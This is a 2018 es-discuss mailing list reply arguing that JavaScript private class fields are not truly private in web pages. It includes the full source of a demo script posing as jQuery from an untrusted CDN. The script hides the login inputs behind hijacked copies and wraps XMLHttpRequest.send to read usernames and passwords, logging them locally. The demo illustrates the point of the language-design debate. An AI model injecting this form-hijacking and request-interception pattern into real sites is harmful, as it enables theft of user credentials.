Re: EcmaScript Proposal – Private methods and fields proposals.
kai zhu
kaizhu256 at gmail.com
Tue Apr 17 10:34:20 UTC 2018
can you give actual code-examples of real-world things in web-projects
that are worth the effort and cost to **proactively** hide from
web-developers? i suspect for most, just following python
design-pattern of prefixing them with '_' or '$' is good enough.
also in a webpage-context, how confident are you that private
methods/fields really are "private" and safe from naughty-developers?
would you trust private fields/methods enough to allow untrusted code
to run alongside your credit-card transaction webpage? for example,
here's a live web-demo of a side-channel attack to indirectly
modify/read private fields (via jquery from untrusted cdn) [1], with
screenshots and full source-code here [2].
its not too difficult to craft these side-channel exploits when a
naughty-developer has full-access to your frontend source-code. how
many companies/organizations in the world do you think have the
resources to audit/harden their frontend-code to ensure private
methods/fields really are private and cannot be tinkered with through
various side-channel exploits (hijacking dom-inputs, XMLHttpRequest,
LocalStorage, IndexedDb, Array-accessors,
dependent-subclasses-you-forgot-to-encapsulate, etc)?
[1]
"live web-demo"
https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
[2]
"screenshot and full source-code of demo-exploit"
https://github.com/tc39/proposal-class-fields/issues/93#issuecomment-380073112
```javascript
/*
* jquery.from.untrusted.cdn.js
*
* this script will indirectly modify/read private-fields by hijacking
dom-inputs and XMLHttpRequest.
* it is custom-crafted for a given webpage's freely available
frontend source-code
*
* live web-demo of it in action at:
* https://kaizhu256.github.io/tc39-private-field-side-channel-attack-example/
*/
/*jslint
bitwise: true,
browser: true,
maxerr: 4,
maxlen: 100,
node: true,
nomen: true,
regexp: true,
stupid: true
*/
(function () {
'use strict';
var XMLHttpRequestPrototypeSend, consoleLog;
consoleLog = console.log;
console.log = function () {
document.querySelector('#textareaStdout').value +=
Array.from(arguments).join(' ') +
'\n';
consoleLog.apply(console, arguments);
};
// side-channel attack to modify private-fields in hijacked dom-inputs
['inputPassword', 'inputUsername'].forEach(function (element) {
/*
* this function will hide the original dom-inputs from the user,
* and replace them with hijacked ones, that can arbitrarily modify data
*/
var hijackElement;
element = document.querySelector('#' + element);
element.style.display = 'none';
hijackElement = document.createElement('input');
element.parentNode.insertBefore(hijackElement, element);
hijackElement.id = element.id + '2';
hijackElement.type = element.type;
hijackElement.value = element.value;
hijackElement.addEventListener('change', function () {
// arbitrarily modify data and pass it back to original dom-inputs
element.value = hijackElement.value + ' modified!';
});
element.value = element.value + ' modified!';
});
document.querySelector('#inputSubmit').addEventListener('click',
function () {
console.log('hijacked dom-input to modify field
loginInstance.privateUsername=' +
JSON.stringify(document.querySelector('#inputUsername').value));
console.log('hijacked dom-input to modify field
loginInstance.privatePassword=' +
JSON.stringify(document.querySelector('#inputPassword').value)
+ '\n');
});
// side-channel attack to read private-fields from hijacked XMLHttpRequest
XMLHttpRequestPrototypeSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function (data) {
/*
* this function will hijack XMLHttpRequest.prototype.send to
indirectly read private-fields
*/
try {
data = JSON.parse(data);
console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
'loginInstance.privateUsername=' +
JSON.stringify(data.username));
console.log('hijacked XMLHttpRequest.prototype.send to
read field ' +
'loginInstance.privatePassword=' +
JSON.stringify(data.password) + '\n');
} catch (ignore) {
}
XMLHttpRequestPrototypeSend.apply(this, arguments);
};
console.log('loaded script <script
src="jquery.from.untrusted.cdn.js"></script>');
}());
```
On 4/17/18, Dan Peddle <dan at flarework.com> wrote:
> imagine you are shipping a module for use by others, and you don't want to
> expose internals to consumers. private methods and properties help to know
> that only the public API is in use, giving confidence in publishing updates
> or fixes.
>
> another use case is knowing that naughty developers aren't reaching into
> your module and changing its behaviour.
>
> I'm sure there's more, but those are the ones that come to mind.
>
>> On 17. Apr 2018, at 08:17, kai zhu <kaizhu256 at gmail.com> wrote:
>>
>> as a javascript web-developer, can someone educate me on how private
>> class methods/fields would make one's life easier (rather than harder)
>> in getting web-projects shipped?
>>
>> ```
>> /*
>> * how is this cited example better than using a plain object in a
>> web-project?
>> * can someone give actual common problems in
>> * debugging/integrating/shipping web-projects,
>> * that private methods/fields could help simplify (rather than
>> complicate)?
>> */
>> class HashTable {
>> constructor() {
>> private[Symbol.for('length')] = 0
>> }
>> set(key, value) {
>> private[key] = value
>> }
>> get(key) {
>> return private[key]
>> }
>> }
>> ```
>>
>
More information about the es-discuss
mailing list